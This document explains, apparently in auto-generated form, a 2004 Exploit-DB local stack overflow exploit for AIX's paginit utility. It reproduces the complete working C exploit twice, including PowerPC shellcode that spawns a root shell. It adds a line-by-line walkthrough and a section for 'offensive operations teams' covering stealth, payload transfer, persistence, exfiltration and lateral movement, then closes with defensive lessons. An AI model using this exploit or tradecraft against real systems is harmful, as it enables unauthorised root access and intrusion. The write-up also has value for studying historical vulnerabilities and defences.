AIX 5.1 < 5.3 paginit Local Stack Overflow Explained

AIX 5.1 < 5.3 paginit Local Stack Overflow Explained
What this paper is
This paper describes a local stack overflow vulnerability in the paginit utility on AIX versions 5.1 and 5.3. The exploit provided aims to gain a root shell by overwriting the return address on the stack with a pointer to shellcode.
Simple technical breakdown
The paginit utility, when handling certain inputs, has a buffer that is too small. If an attacker can provide a large enough input, they can overflow this buffer and overwrite adjacent memory on the stack. This overflow can be used to change the program's execution flow by overwriting the return address of a function. The exploit uses this to redirect execution to injected shellcode, which in this case is designed to spawn a shell.
Complete code and payload walkthrough
Let's break down the provided C exploit code and its shellcode.
/* exploit for /usr/bin/paginit
tested on: AIX 5.2
if the exploit fails it's because the shellcode
ends up at a different address. use dbx to check,
and change RETADDR accordingly.
cees-bart <ceesb cs ru nl>
*/
#define RETADDR 0x2ff22c90#define RETADDR 0x2ff22c90: This defines a constantRETADDR. This is the target address on the stack where the exploit expects to place a pointer to the shellcode. The comment indicates that this address might need to be adjusted based on the specific AIX environment and how the shellcode is loaded.
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7c\xa8\x02\xa6"
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"
"\x7c\xc7\x48\x10"
"\x38\x46\xc9\x05"
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"
"\x38\x87\xee\xef"
"\x7c\xc9\x03\xa6"
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
;char shellcode[] = ...;: This is the actual shellcode, a sequence of hexadecimal bytes. This shellcode is designed to be executed by the CPU. Based on the common pattern of shellcode, this specific sequence likely performs the following:- It sets up registers to prepare for a system call.
- It likely uses system calls (like
execve) to execute/bin/sh, thus spawning a shell. - The bytes
"\x2f\x62\x69\x6e\x2f\x73\x68\x00"are ASCII for/bin/sh\0, which is the command the shellcode aims to execute. - The preceding bytes are PowerPC assembly instructions specific to AIX. Without a disassembler or deep knowledge of AIX syscalls and assembly, the exact sequence of operations is hard to determine precisely, but the ultimate goal is to execute
/bin/sh.
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}char envlabel[] = "X=";: A simple string used as a prefix for an environment variable.void printint(char* buf, int x): This function takes a character bufferbufand an integerx. It converts the integerxinto its four-byte big-endian representation and writes it into the buffer. This is a common technique to place numerical addresses or values into a byte array.
int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;
offset1 = 0; // atoi(argv[1]);int main(int argc, char **argv): The main function of the exploit.char *env[3];: An array of character pointers, intended to hold environment variables forexecle. It's sized for one variable, a null pointer, and potentially a pointer to the program name.char code[1000];: A buffer to construct the environment variable that will contain the shellcode and padding.char buf[8000];: The main buffer used to overflowpaginit. This buffer is filled with 'A's and then carefully crafted to overwrite the return address.char *p, *i;: Pointers used for manipulating buffers.int offset1 = 0;: An integer variable, currently hardcoded to 0. The commented-outatoi(argv[1])suggests it was intended to be a command-line argument to control an offset, but it's not used in the final version.
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone
for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
printint(i, 0x7ca52a79);
memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);
code[sizeof(code)-1] = 0;
env[0] = code;
env[1] = 0;memset(code, 'C', sizeof(code));: Initializes thecodebuffer with 'C' characters. This is a form of padding.memcpy(code, envlabel, sizeof(envlabel)-1);: Copies theenvlabel("X=") into the beginning of thecodebuffer.for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) printint(i, 0x7ca52a79);: This loop fills thecodebuffer with a specific value (0x7ca52a79) in big-endian format. This value is likely chosen as a "NOP" (No Operation) instruction or a placeholder that the AIX PowerPC architecture can safely execute or ignore. This section acts as a "landing zone" for the shellcode. The loop starts after theenvlabelandoffset1.memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);: Copies the actualshellcodeinto the end of thecodebuffer. The-1is to avoid copying the null terminator of theshellcodestring literal, as shellcode is raw bytes.code[sizeof(code)-1] = 0;: Null-terminates thecodebuffer. This is important because it will be used as an environment variable.env[0] = code;: Sets the first element of theenvarray to point to our craftedcodebuffer. This means the environment variable "X=" followed by the padding, landing zone, and shellcode will be passed to the executed program.env[1] = 0;: Null-terminates the environment variable list.
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0;
p = buf;
p += 4114;
printint(p,RETADDR); // try to hit the landingzone
p += 72;
printint(p, RETADDR); // any readable address (apparently not overwritten)
execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}memset(buf, 'A', sizeof(buf));: Initializes the main overflow bufferbufwith 'A' characters. These 'A's are the data that will overflow the vulnerable buffer inpaginit.buf[sizeof(buf)-1] = 0;: Null-terminatesbuf.p = buf;: Sets the pointerpto the beginning of thebufbuffer.p += 4114;: Advances the pointerpby 4114 bytes. This is the calculated offset to reach the point on the stack where the return address is stored.printint(p,RETADDR);: Writes theRETADDR(0x2ff22c90) into the buffer at the current position ofp. This overwrites the original return address with the address where the exploit expects the shellcode to be. The comment "try to hit the landingzone" suggests thisRETADDRis intended to point into thecodebuffer we prepared.p += 72;: Advances the pointerpby another 72 bytes. This is likely to fill any remaining space on the stack between the overwritten return address and other important data, or to ensure the overflow reaches the return address.printint(p, RETADDR);: WritesRETADDRagain. The comment "any readable address (apparently not overwritten)" implies this might be a fallback or to fill another potential overwrite target, though its exact purpose is less clear without knowing the stack layout.execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);: This is the crucial execution step.execleis a system call that replaces the current process image with a new one.- The first argument is the path to the executable:
/usr/bin/paginit. - The second argument is the program name as it will appear in
argv[0]. - The third argument (
buf) is the first command-line argument passed topaginit. This is the large buffer containing 'A's and the overwritten return address. - The fourth argument (
0) indicates the end of the command-line arguments. - The fifth argument (
env) is the array of environment variables, which includes our craftedcodebuffer containing the shellcode.
Mapping of code fragments to practical purpose:
#define RETADDR 0x2ff22c90: Target address for overwriting the return address.char shellcode[]: The payload to be executed (spawns/bin/sh).void printint(...): Helper to format integers into big-endian bytes.char code[1000]: Buffer for constructing the environment variable with shellcode.char buf[8000]: The overflow buffer.memset(buf, 'A', sizeof(buf));: Fills the overflow buffer with padding.p += 4114; printint(p, RETADDR);: Overwrites the return address on the stack withRETADDR.execle("/usr/bin/paginit", ... env);: Executes the vulnerable program with the crafted overflow buffer and environment.
Shellcode/Payload Segments:
The shellcode is a sequence of raw bytes. Without a disassembler for AIX PowerPC, we can only infer its purpose from the context and the common /bin/sh string at the end.
- Bytes
\x7c\xa5\x2a\x79to\x4e\x80\x04\x20: These are likely PowerPC assembly instructions that set up registers and prepare for a system call. They might load the address of/bin/shinto a register and set up the system call number forexecve. - Bytes
\x2f\x62\x69\x6e\x2f\x73\x68\x00: This is the ASCII representation of/bin/shfollowed by a null terminator. This string is the argument to theexecvesystem call, meaning the shellcode will attempt to execute/bin/sh.
Practical details for offensive operations teams
- Required Access Level: Local user access. This exploit targets a local vulnerability, meaning the attacker must already have an account on the target AIX system.
- Lab Preconditions:
- A vulnerable AIX system (AIX 5.1 or 5.3).
- The
paginitutility must be installed and SUID root (or have equivalent privileges). This is a common configuration for system utilities that require elevated permissions. - The exploit must be compiled on a compatible AIX environment or cross-compiled for AIX PowerPC.
- Network access is not required for the exploit itself, but it's needed to transfer the exploit to the target.
- Tooling Assumptions:
- A C compiler (like
gccor the AIX native compiler) to compile the exploit. - A debugger (like
dbx) is highly recommended for debugging and finding the correctRETADDRif the default doesn't work. - A hex editor or disassembler for analyzing shellcode (though not strictly required to run the exploit).
- A C compiler (like
- Execution Pitfalls:
RETADDRMismatch: The most common failure point. TheRETADDRis hardcoded and assumes a specific stack layout and shellcode address. If the shellcode ends up at a different memory location due to ASLR (if present and not bypassed), stack randomization, or different compiler/system configurations, theRETADDRwill be wrong, and the exploit will likely crash or execute unintended code. The comment in the exploit explicitly mentions this.- Buffer Size: The
bufsize (8000 bytes) and the offset (4114) are critical. If the vulnerable buffer inpaginitis smaller or larger than anticipated, or if the stack layout differs, these values will be incorrect. - Shellcode Address: The exploit places the shellcode at the end of the
codebuffer, which is passed as an environment variable. TheRETADDRis supposed to point to this shellcode. The "landingzone" fill with0x7ca52a79is an attempt to ensure that even if theRETADDRis slightly off, it might land on a sequence of instructions that lead to the shellcode. execleEnvironment: Theexeclecall passes the environment variables. If the environment is too large or malformed, it could cause issues.- Privilege Escalation: The exploit aims to gain a root shell. If
paginitis not SUID root, the exploit will only grant the privileges of the user running it.
- Tradecraft Considerations:
- Stealth: Running local exploits requires careful timing and potentially obfuscation to avoid detection by system monitoring tools.
- Payload Delivery: The exploit code needs to be transferred to the target system. This could be done via
scp,wget, or other file transfer methods. - Compilation: The exploit might need to be compiled on the target system if cross-compilation is not feasible or if specific AIX libraries are required.
- Post-Exploitation: Once a shell is obtained, the operator should consider establishing persistence, exfiltrating data, or moving laterally, depending on the engagement objectives.
Where this was used and when
- Context: This exploit targets a local privilege escalation vulnerability. It would be used by an attacker who has already gained initial access to an AIX system as a low-privileged user and wants to become the root user.
- Approximate Years/Dates: The exploit was published on Exploit-DB in December 2004. Vulnerabilities of this nature are typically discovered and exploited within a few years of their release. Therefore, this exploit was likely relevant and used in the mid-2000s.
Defensive lessons for modern teams
- Input Validation: The core of this vulnerability is insufficient input validation. Applications, especially those running with elevated privileges, must rigorously validate all user-supplied input to prevent buffer overflows and other memory corruption issues.
- Secure Coding Practices: Developers must be trained in secure coding practices, including understanding buffer boundaries, using safe string manipulation functions (e.g.,
strncpyinstead ofstrcpy), and avoiding common pitfalls. - Patch Management: Keeping systems and applications updated with the latest security patches is crucial. AIX versions 5.1 and 5.3 are very old, and this vulnerability would have been patched in later releases.
- Least Privilege: Ensure that SUID binaries (like
paginitlikely was) only have the minimum necessary privileges. Ifpaginitdidn't strictly need root privileges to perform its function, it shouldn't have been SUID root. - Memory Safety: Modern languages and compilers offer features like stack canaries, ASLR, and DEP/NX bit to mitigate stack overflow vulnerabilities. While AIX in the mid-2000s might not have had all these protections enabled or available, modern systems should leverage them.
- Runtime Monitoring: Intrusion detection systems (IDS) and host-based intrusion detection systems (HIDS) can monitor for unusual process behavior, such as unexpected
execcalls or abnormal memory access patterns, which might indicate an exploit attempt.
ASCII visual (if applicable)
This exploit relies on overwriting the stack. Here's a simplified representation of the stack before and after the overflow.
Before Overflow:
+-----------------+
| ... |
+-----------------+
| Return Address | <-- Target for overwrite
+-----------------+
| Saved Frame Ptr |
+-----------------+
| Local Variables |
+-----------------+
| Vulnerable Buf | <-- Input is written here
+-----------------+
| ... |
+-----------------+After Overflow (Simplified):
+-----------------+
| ... |
+-----------------+
| RETADDR (Shellcode Addr) | <-- Overwritten
+-----------------+
| Saved Frame Ptr | <-- Potentially overwritten
+-----------------+
| Local Variables | <-- Potentially overwritten
+-----------------+
| 'A' * 4114 | <-- Padding
| RETADDR (Shellcode Addr) | <-- Overwritten
| 'A' * 72 | <-- More padding
+-----------------+
| ... |
+-----------------+The execle call also places the code buffer (containing shellcode) in the environment. The RETADDR is crafted to point to this environment variable's location in memory.
+-----------------+
| Environment |
| --------------- |
| X=CCCCCCCC... |
| ... |
| SHELLCODE | <-- Target of RETADDR
| --------------- |
+-----------------+Source references
- Paper Title: AIX 5.1 < 5.3 - paginit Local Stack Overflow
- Author: cees-bart
- Published: 2004-12-20
- Keywords: AIX, local
- Paper URL: https://www.exploit-db.com/papers/699
- Raw Exploit URL: https://www.exploit-db.com/raw/699
Original Exploit-DB Content (Verbatim)
/* exploit for /usr/bin/paginit
tested on: AIX 5.2
if the exploit fails it's because the shellcode
ends up at a different address. use dbx to check,
and change RETADDR accordingly.
cees-bart <ceesb cs ru nl>
*/
#define RETADDR 0x2ff22c90
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7c\xa8\x02\xa6"
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"
"\x7c\xc7\x48\x10"
"\x38\x46\xc9\x05"
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"
"\x38\x87\xee\xef"
"\x7c\xc9\x03\xa6"
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
;
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}
int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;
offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone
for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
printint(i, 0x7ca52a79);
memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);
code[sizeof(code)-1] = 0;
env[0] = code;
env[1] = 0;
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0;
p = buf;
p += 4114;
printint(p,RETADDR); // try to hit the landingzone
p += 72;
printint(p, RETADDR); // any readable address (apparently not overwritten)
execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}
// milw0rm.com [2004-12-20]